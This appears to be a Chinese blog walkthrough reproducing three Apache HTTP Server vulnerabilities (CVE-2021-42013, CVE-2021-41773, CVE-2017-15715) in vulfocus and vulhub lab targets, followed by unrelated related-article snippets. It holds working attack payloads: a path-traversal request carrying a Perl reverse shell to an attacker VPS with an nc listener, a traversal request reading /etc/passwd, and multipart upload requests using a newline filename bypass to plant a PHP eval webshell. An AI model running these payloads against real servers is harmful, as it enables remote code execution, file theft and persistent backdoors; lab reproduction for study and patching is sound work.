Apache漏洞复现:【CVE-2021-42013】【CVE_2021_41773】【CVE-2017-15715】

声明

严禁读者利用本文介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

远程代码执行 CVE-2021-42013

描述

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。

影响范围
Apache HTTP Server 2.4.49、2.4.50

开启靶场

在vulfocus中开启靶场
image.png

访问靶场

image.png

演示

生成反弹shell命令

https://forum.ywhack.com/shell.php或者https://forum.ywhack.com/reverse-shell/

image.png

vps开启监听

nc -lvvp 9999

image.png

访问靶场并burp开启抓包,再改成post请求

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/shecho;perl -e 'use Socket;$i="vps的ip地址";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

image.png

反弹shell成功
image.png

目录穿越 CVE_2021_41773

描述

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

影响范围

Apache HTTP Server 2.4.49、2.4.50

开启靶场

还是一样在vulfocus中开启靶场
image.png

访问靶场

image.png

演示

浏览器访问靶场并burp抓包,在修改请求目录

/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

image.png

文件解析 CVE-2017-15715

描述

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略 。

影响范围

Apache HTTPd 2.4.0~2.4.29

开启靶场

【在vulhub中开启靶场】
(1)到漏洞docker所在环境

cd /root/vulhub/httpd/CVE-2017-15715

(2)构建 Docker Compose 文件中定义的服务的镜像

docker-compose build

(3)启动在docker-compose.yml文件中定义的服务容器

docker-compose up –d

关闭靶场

docker-compose down

【在vulfocus中开启靶场】
image.png

演示

访问靶场发现什么也没有
image.png

burp抓包,发现该apache的版本是存在解析漏洞的,可以绕过php黑名单限制image.png

但是没有上传页面,尝试直接,修改请求为POST,添加上传文件请求
上传文件是1.php
内容是

<?php phpinfo(); ?>

请求包为

POST / HTTP/1.1
Host: 192.168.61.131:9933
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"1.php
-----------------------------9552222486401230933854482358--

发送请求包,发现响应包返回了 bad file 上传失败image.png

先输入在保存文件名的地方,输入一个空格,然后点击Hex编码,修改空格为0a
image.png
image.png
image.png

然后点击发送请求包,发现上传成功
image.png

浏览器访问,并burp抓包

http://192.168.61.131:9933/1.php

burp修改请求路径为

http://192.168.61.131:9933/1.php%0a

在这里插入图片描述

查看浏览器的响应,成功显示phpinfo信息
在这里插入图片描述

burp也一样能看到响应包的phpinfo信息
image.png

进阶

上传木马,进行get webshell

POST / HTTP/1.1
Host: 192.168.61.131:9933
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 362
Connection: close
Upgrade-Insecure-Requests: 1-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-stream<?php eval($_REQUEST[cmd]); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"2.php-----------------------------9552222486401230933854482358--

image.png
image.png

上传成功
image.png

蚁剑连接成功

http://192.168.61.131:9933/2.php%0a
cmd

image.png

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/23236.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

R语言数据探索和分析21-中国GDP及其影响因素多元线性回归分析

一、研究背景和意义 GDP 是宏观经济中最受关注的经济统计数字&#xff0c;目前我国国内生产总值年均增长率均明显高于同期美、日等发达经济体和巴 西、俄罗斯、南非、印度等其他金砖国家&#xff0c;成为世界经济增长的主力军&#xff0c;GDP 的增长对一个国家有着十分重要的意…

mysql中事务的简介

大家好。我们在日常开发过程中肯定都或多或少的用到过事务&#xff0c;而且在面试时&#xff0c;数据库的事务也是必问内容之一。今天我们就来说说mysql的事务。 为了方便我们下面内容的讲解&#xff0c;我们也先建立一个讲事务必用的表–account表&#xff0c;并在表中插入两…

基于centos7打包当前环境的系统为iso镜像文件

1. 准备工作 1.下载安装mondo 切换到root用户&#xff0c;进入yum下载库 # cd /etc/yum.repos.d # wget ftp://ftp.mondorescue.org/centos/7/x86_64/mondorescue.repo 打开文件mondorescue.repo&#xff0c;修改gpgcheck属性为0&#xff0c;指定mondorescue.repo安装 # 安…

【Python数据挖掘实战案例】机器学习LightGBM算法原理、特点、应用---基于鸢尾花iris数据集分类实战

一、引言 1、简要介绍数据挖掘的重要性和应用 在数字化时代&#xff0c;数据已经成为企业和社会决策的重要依据。数据挖掘作为一门交叉学科&#xff0c;结合了统计学、机器学习、数据库技术和可视化等多个领域的知识&#xff0c;旨在从海量数据中提取有价值的信息&#xff0c…

生命在于学习——Python人工智能原理(3.2)

三、深度学习 &#xff08;二&#xff09;人工神经网络 人工神经网络是模仿人类大脑神经系统工作原理所创建的数学模型&#xff0c;有并行的分布处理能力、高容错性和自我学习等特征。 1、感知器 感知器由Frank Roseblatt于1957年提出&#xff0c;是一种广泛使用的线性分类…

RPC框架原理(一)

RPC框架原理 网络和IO的关系&#xff0c;IO&#xff08;input和output&#xff09;面向的是谁&#xff1f;OSI 7层参考模型&#xff0c;TCP/IP协议为什么会出现一个会话层三次握手socket心跳keep alive四次挥手 网络IO&#xff08;IO模型&#xff09; IO框架底层 学习顺序&…

GaussDB技术解读——GaussDB架构介绍(一)

目录 1 GaussDB 关键架构目标 2 GaussDB分布式架构 2.1 GaussDB 分布式关键技术架构 3 数据计算路由层&#xff08;Coordinator&#xff09;关键技术方案 3.1 分布式优化器 3.2 分布式执行框架 GaussDB是华为自主创新研发的关系型数据库&#xff0c;基于华为在数据库领域…

api接口模块封装

1&#xff1a;前端封装接口 前端请求的统一封装也是为了方便前端项目的请求维护起来更加方便&#xff0c;将页面中的请求封装到js文件中&#xff0c;不同的页面需要用到相同的请求可以直接进行复用。 第一步创建一个api文件夹和js文件 第二步&#xff1a;在文件中导入axios&am…

为什么投资气膜网球馆是明智之选—轻空间

在现代体育产业快速发展的背景下&#xff0c;投资体育场馆成为许多投资者关注的焦点。其中&#xff0c;气膜网球馆以其独特的优势和广泛的市场需求&#xff0c;逐渐成为投资者的热门选择。那么&#xff0c;为什么投资气膜网球馆是一个明智之选呢&#xff1f; 1. 建设周期短&…

SpringBoot+Vue幼儿园管理系统(前后端分离)

技术栈 JavaSpringBootMavenMyBatisMySQLVueElement-UI 系统角色 教师用户管理员 功能截图

JAVA小案例-输出100-150中能被3整除的数,每5个换行

JAVA小案例-输出100-150中能被3整除的数&#xff0c;每5个换行 代码如下&#xff1a; public class Continue {/*** continue练习&#xff0c;输出100-150中能被3整除的数&#xff0c;每5个换行* param args*/public static void main(String[] args) {int count 0;//计数器…

【全开源】数据大屏系统源码(ThinkPHP+FastAdmin)

&#x1f4c8;数据大屏系统&#xff1a;可视化数据的魅力舞台&#x1f5a5; 基于ThinkPHPFastAdmin开发的数据大屏&#xff0c;可视化义拖拽快速制作数据大屏/科技大屏&#xff0c; 内置30组件、获取实时数据、使用简单易上手&#xff0c;轻松实现图形数据统计等。​ 一、引言…

03--nginx架构实战

前言&#xff1a;这应该是nginx梳理的最后一章&#xff0c;写一些关于网站架构和网站上线的知识内容&#xff0c;主要是感觉到运维并不是单一方向的行业&#xff0c;这一章概念会有一些广泛&#xff0c;但是非常重要&#xff0c;都是这几年工作中遇到的情况&#xff0c;整理一下…

【设计模式】JAVA Design Patterns——Private Class Data(私有类数据设计模式)

&#x1f50d;目的 私有类数据设计模式试图通过限制属性的可见性来减少属性的暴露。 通过将它们封装在单个Data对象中&#xff0c;可以减少类属性的数量。 &#x1f50d;解释 真实世界例子 想象一下你在为家人做晚餐炖汤。你想阻止家庭成员在你烹饪时偷偷品尝菜品&#xff0c;否…

C#WPF数字大屏项目实战08--生产量/良品统计

1、区域划分 生产量/良品统计这部分位于第二列的第二行 2、livechart拆线图 定义折线图,如下: <lvc:CartesianChart> <lvc:CartesianChart.Series> <!--设置Series的类型为 Line 类型, 该类型提供了一些折线图的实现--> <lvc:LineSeries/>…

什么是Vector Database(向量数据库)?

什么是Vector Database(向量数据库)&#xff1f; 向量数据库是向量嵌入的有组织的集合&#xff0c;可以随时创建、读取、更新和删除。向量嵌入将文本或图像等数据块表示为数值。 文章目录 什么是Vector Database(向量数据库)&#xff1f;什么是嵌入模型(Embedding Model)&…

idea 常用插件推荐

文章目录 1、Lombok2、Convert YAML and Properties File3、Grep Console4、MyBatisX5、Free MyBatis Tool6、MyBatis Log EasyPlus &#xff08;SQL拼接&#xff09;7、MyBatisPlus8、Eclipse theme9、Eclipse Plus Theme10、Rainbow Brackets Lite - Free and OpenSource&…

操作系统教材第6版——个人笔记3

2.1 处理器 2.1.1 处理器与寄存器 处理器部件的简单示意 用户程序可见寄存器 可以使程序员减少访问主存储器的次数&#xff0c;提高指令执行的效率所有程序可使用&#xff0c;包括应用程序和系统程序数据寄存器&#xff1a;又称通用寄存器地址寄存器&#xff1a;索引、栈指针…

review of c++

友元关系是单向的。 指针

为什么要做与运算?网关如何和ip做与运算?

在计算机网络中&#xff0c;“与运算”是一个基本而重要的概念&#xff0c;尤其在IP地址和子网掩码的处理中起着关键作用。本文将解释为什么要进行与运算&#xff0c;以及网关如何和IP地址进行与运算。 为什么要做与运算&#xff1f; 1. 确定网络地址 与运算&#xff08;AND…